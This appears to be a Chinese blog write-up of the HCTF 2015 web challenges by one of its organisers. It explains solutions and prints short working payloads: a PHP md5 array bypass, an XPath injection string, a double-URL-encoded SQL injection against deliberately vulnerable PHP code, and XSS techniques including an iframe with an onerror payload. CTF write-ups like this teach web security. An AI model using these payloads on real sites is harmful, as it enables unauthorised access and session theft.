hctf2015的一点儿记录

上周参与举办HCTF忙了大概50个小时,累的够呛,不过还是学到了很多东西,从一个全新的方式接触了赛棍们日站做题的思路,现在终于有机会闲下来记录一些东西。

writeup

全部题目的writeup都在这里了
https://github.com/hduisa/hctf2015-all-problems

404

虽然题目严格来说不能算是我出的,不过基础题,也是无所谓了,其实随便做做就get flag了
其实有100种方式可以做出来。F12可以,curl -I可以,抓包也可以。

1
2
3
4
5
6
7
8
9
➜ ~ curl ‐I http://133.130.108.39:12340/3d9d48dc016f0417558ff26d82ec13cc/webI.php
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sun, 06 Dec 2015 15:37:43 GMT
Content‐Type: text/html; charset=UTF‐8
Connection: keep‐alive
X‐Powered‐By: PHP/5.6.15
flag: hctf{w3lcome_t0_hc7f_f4f4f4}
location: ./webl.php

然而你们非要说我这是脑洞题。。。我只能Orz

fuck===

忘记最早是那里见到的了,现在能找到的就是这篇文章。 http://www.secbox.cn/hacker/1889.html

payload:

1
?a[]=adsa&b[]=dsadsa

大部分人想到的都是之前比赛常见的md5,类似于0exxx==0exxx这样的,但是如果是===的话,这样是不成立的,所以这里利用的是md5不能加密数组,所以就会返回Null,而Null===Null,get flag.

injection

说实话最开始出题的时候和朋友商量了好久,才找到一个既不脑洞又非常合适难度的题目,后来选择了xpath注入,结果没想到这道题在给了hint的情况的还坚持了非常久才被一血。
出题思路来源于这篇文章: http://blog.csdn.net/yefan2222/article/details/7227932

payload:

1
user']|//*|['

其实自己看看xpath的语法就知道是怎么回事了 http://www.w3school.com.cn/xpath/

上面的payload的类似于sqli的 1' or '1'='1

personal blog

这道题目其实是最有意思的,应该放在misc下的,但是既然没有分类,所以就这样吧

其实本意是找博客的特点,所以写了两条提示,一条是flag在页面的源码中,另一个是一个登陆框,这个登陆框既是坑,也是提示,仔细找找就能找到那个登陆框是个假的,只要点击按钮就会弹窗提示密码错误。说明这个博客其实是没有后台的,然后去搜索静态博客,就能知道这样的博客必须搭在github上面了,去搜索id就可以了。

但是后来发现其实还有很多方式可以做,如果去抓包的话,可以发现一个github的Server: GitHub.com 所以去搜就好了,甚至做成社工题目,直接去搜,虽然可能搜到我真正的博客,但是还是能搜到。

博客源码都在github上面,就不放在这里了,博客其实是hexo,然而静态博客一般都要放在github-Pages上面。(我真正的博客是放在gitcafe上面的,这样国内访问就快很多)

从这里后面的题目就不是我出的了,所以我跟着学长和各个大牛学习了很多

hack my net (ssrf)


打开题目看到的是一个css的源码,看下url就能发现应该是要ssrf了。
稍微测试下发现前面必须是nohackair.net:80,这里果断用@
然后发现看什么都是白页,估计是必须要css,尝试#截断,可以没用。
后来可以发现应该是通过构造content-type来绕过,于是服务器构造:

get flag!

confused question

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
session_start();
require(&#39;./db/db.php&#39;);
function addslashesForEvery($array){
if(!is_array($array)){return addslashes($array);}
foreach($array as $key => $val){
$array[$key] = addslashes($val);
}
return $array;
}
$loginStr = $_GET[&#39;loginstr&#39;];
if(!isset($_SESSION[&#39;admin&#39;])){$loginStr = str_ireplace(&#39;admin&#39;,&#39;guest&#39;,$loginStr);}//前台不是admin
parse_str($loginStr,$loginStr);
foreach($loginStr as $n => $v){
$v = addslashesForEvery($v);
if($n === &#39;admin&#39;){
$username = $v[&#39;username&#39;];
$password = addslashesForEvery($_POST[&#39;password&#39;]);
$sql = "select * from admin where username = &#39;$username&#39; and password = &#39;$password&#39;";
$result = $DB->query($sql);
if($result){$_SESSION[&#39;adminlogin&#39;] = 1; echo "hctf{xxxxxxxx}";}
break;
}
if($n === &#39;guest&#39;){
echo "Hello Guest!But you cannot log in!";
break;
}
echo "null";
break;
}
?>

首先是str_ireplace的绕过,这里可以构造数组,但是过不了addlashesForEvery,

其实发现parse_str不仅仅可以把查询字符串解析到变量中,而且在parse_str解析之前,还要进行一次addslashed()转换,所以这里可以用url二次编码绕过

后面可以用/'会被addlashedForEvery分割出/,所以成功执行.

有效payload:

loginstr=%2561%2564%256d%2569%256e=%27

hctf{CONFUSED_ABOUT_CODES_BUT_YOU}

COMA WHITE

基本上是js的混淆,源码是这样的:

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('$.q("j",8(e,a){3 5=a.5;3 d=[1,2,1,1,1,2,1,1,2,1,2,2,2,1,2,1,2,1,1,2,1,2];3 4=[];3 9=0;$.h(d,8(f,7){3 n=5.w(9,9+7);9+=7;4.m(n)});$.i("r",{4:4})});$.q("r",8(e,a){3 4=a.4;3 c=[];$.h(4,8(f,7){3 6=v(7);6=y(6);6=x(6);c.m(6)});3 l=c.K();L(I(l)===J){g("s t b k o p, b M P N O H.")}B{g("s t b k o C p.")}});$("#z").A(\'F\',8(u){u.G();3 5=D.5.E;$.i("j",{5:5})});',52,52,'|||var|davidFincher|flag|bpPart|val|function|nortonPointer|data|YOU|bradPitt|edwardNorton||index|showAlertBox|each|publish|step_0|GIVEN|MarilynManson|push|dfPart|IS|CORRECT|subscribe|step_1|THE|FLAG|event|FFBA94F946CC5B3B3879FBEC8C8560AC|slice|E3AA318831FEAD07BA1FB034128C7D76|AD9539C3B4B28AABF6F6AF8CB85AEB53|blood|on|else|NOT|this|value|submit|preventDefault|IT|BF5B983FF029B3BE9B060FD0E080C41A|coveredFlag|join|if|ARE|TO|SUBMIT|SUPPOSED'.split('|'),0,{})

稍微美化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$.subscribe("step_0",
function(e, data) {
var flag = data.flag;
var edwardNorton = [1, 2, 1, 1, 1, 2, 1, 1, 2, 1, 2, 2, 2, 1, 2, 1, 2, 1, 1, 2, 1, 2];
var davidFincher = [];
var nortonPointer = 0;
$.each(edwardNorton,
function(index, val) {
var dfPart = flag.slice(nortonPointer, nortonPointer + val);
nortonPointer += val;
davidFincher.push(dfPart)
});
$.publish("step_1", {
davidFincher: davidFincher
})
});
$.subscribe("step_1",
function(e, data) {
var davidFincher = data.davidFincher;
var bradPitt = [];
$.each(davidFincher,
function(index, val) {
var bpPart = FFBA94F946CC5B3B3879FBEC8C8560AC(val);
bpPart = AD9539C3B4B28AABF6F6AF8CB85AEB53(bpPart);
bpPart = E3AA318831FEAD07BA1FB034128C7D76(bpPart);
bradPitt.push(bpPart)
});
var MarilynManson = bradPitt.join();
if (BF5B983FF029B3BE9B060FD0E080C41A(MarilynManson) === coveredFlag) {
showAlertBox("THE FLAG YOU GIVEN IS CORRECT, YOU ARE SUPPOSED TO SUBMIT IT.")
} else {
showAlertBox("THE FLAG YOU GIVEN IS NOT CORRECT.")
}
});
$("#blood").on('submit',
function(event) {
event.preventDefault();
var flag = this.flag.value;
$.publish("step_0", {
flag: flag
})
});

然后开始分析下面的一大堆东西,
第一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| function FFBA94F946CC5B3B3879FBEC8C8560AC(a) { |
var b, c2, c3; |
var c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; |
var i = 0, |
len = a.length, |
string = ''; |
while (i < len) { |
b = a.charCodeAt(i++) & 0xff; |
if (i == len) { |
string += c.charAt(b >> 2); |
string += c.charAt((b & 0x3) << 4); |
string += "=="; |
break |
} |
c2 = a.charCodeAt(i++); |
if (i == len) { |
string += c.charAt(b >> 2); |
string += c.charAt(((b & 0x3) << 4) | ((c2 & 0xF0) >> 4)); |
string += c.charAt((c2 & 0xF) << 2); |
string += "="; |
break |
} |
c3 = a.charCodeAt(i++); |
string += c.charAt(b >> 2); |
string += c.charAt(((b & 0x3) << 4) | ((c2 & 0xF0) >> 4)); |
string += c.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6)); |
string += c.charAt(c3 & 0x3F) |
} |

不知道为啥,反正大神们一眼就可以看出来第一个是base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| var E3AA318831FEAD07BA1FB034128C7D76 = function (string) { |
function RotateLeft(lValue, iShiftBits) { |
return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); |
} |
function AddUnsigned(lX,lY) { |
var lX4,lY4,lX8,lY8,lResult; |
lX8 = (lX & 0x80000000); |
lY8 = (lY & 0x80000000); |
lX4 = (lX & 0x40000000); |
lY4 = (lY & 0x40000000); |
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF); |
if (lX4 & lY4) { |
return (lResult ^ 0x80000000 ^ lX8 ^ lY8); |
} |
if (lX4 | lY4) { |
if (lResult & 0x40000000) { |
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); |
} else { |
return (lResult ^ 0x40000000 ^ lX8 ^ lY8); |
} |
} else { |
return (lResult ^ lX8 ^ lY8); |
} |
} |

听说这个是一大堆玄学,看着就像md5,真可怕…

1
2
3
var AD9539C3B4B28AABF6F6AF8CB85AEB53 = function(str){
return str.replace(/\=/g,"")
}

挺明白了,去等号。后面一个懒得贴了,是去逗号。
剩下的其实很简单了,把result里面的数据,分成22组,解md5得到不同长度的字符串,根据base64的特性,用=号补齐四位,然后解码得到flag
flag: A06370EA15AC7B2F3C900D2F696C2FB0

ease xss

这道题目其实让我学到很多东西,真正感觉到xss有很多种不一样的姿势。

1
2
3
4
5
6
7
8
9
10
11
12
13
<script src="百度jquery"></script>
<script>
var msg = '输出点1';
var id='输出点2';
(function(){
try{
$.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
}catch(err){
document.write(msg);
}
var debug='输出点3';
})();
</script>

初步试了试其实挺坑的,msg这里把单引号转为双引号,其他什么都不过滤。id输入强制所有输入为int型,也没有什么办法,无法闭合’。debug是有限的,只能放下12长度的字符串,勉强可以alert(),但是没有用,因为题目需要弹cookie出来。

但是xss的方式总是神奇的,包括比赛中也出现了很多次非预期的情况,所以有3种做法。
1、出题人的思路,把debug改为‘’;var id=’’;,这样var id得到提升,id为undifined,所以tostring就会报错,导致msg执行。
2、超长referer导致百度jquery报错,这样会导致jquery加载错误,于是$.get就会出错,引发catch(err)。
3、通过url增加参数 &fuck=<script src="百度jquery"></script> chrome会自动匹配输入点和输出点,然后在渲染时候杀掉html里的jquery加载代码,也成功导致无法加载jquery,同样的引发了catch(err)
4、神奇的本地iframe,
<iframe src="http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=a&t=1&debug=%27;$(name)//" name="<img src=x onerror=alert(document.demain);>"></iframe>
本地构造这样的东西居然返回服务器的地址,可怕…

基本上web题目也就到这样了,剩下的也不是我有能力解决的,Have fun

文章目录
  1. 1. writeup
    1. 1.1. 404
    2. 1.2. fuck===
    3. 1.3. injection
    4. 1.4. personal blog
    5. 1.5. hack my net (ssrf)
    6. 1.6. confused question
    7. 1.7. COMA WHITE
    8. 1.8. ease xss